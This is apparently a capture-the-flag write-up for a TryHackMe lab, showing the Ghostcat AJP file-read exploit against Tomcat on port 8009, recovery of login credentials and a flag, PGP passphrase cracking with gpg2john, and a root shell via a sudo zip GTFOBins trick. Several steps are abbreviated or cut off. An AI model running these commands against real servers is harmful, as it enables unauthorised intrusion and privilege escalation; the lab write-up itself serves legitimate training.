When we visit `/manger` we are not prompt with login.

Now we can look for port `8009` and there is an exploit for it `https://github.com/00theway/Ghostcat-CNVD-2020-10487.git`

Run the exploit 

```
python3 ajpShooter.py http://10.10.109.92:8080 8009 /WEB-INF/web.xml read
```

You will find credential `skyfuck`:`8730281lkjlkjdqlksalks`

Going to `merlin`'s folder we can find `THM{GhostCat_1s_so_cr4sy}`

we can see two files `credentials.pgp` and `tryhackme.asc` so we are going to use `gpg2john` to find hash of  `tryhackme.asc`

```
alexandru        (tryhackme)
```

We will use gpg to import a file 

```
skyfuck@ubuntu:~$ gpg --import tryhackme.asc 
gpg: keyring `/home/skyfuck/.gnupg/secring.gpg' created
gpg: key C6707170: secret key imported
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:               imported: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

```
Then we will specify from using `tryhackme.asc` we will decrypt `credential.pgp` by using `alexandru `.
```
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp 

You need a passphrase to unlock the secret key for

```
We can run `zip` as root so let's find how we can escalate our privileges.

## Privilege Escalation

Visiting `https://gtfobins.github.io/gtfobins/zip/` 
```
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
```



```
merlin@ubuntu:/home/skyfuck$ TF=$(mktemp -u)
merlin@ubuntu:/home/skyfuck$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# whoami
rm: missing operand
Try 'rm --help' for more information.
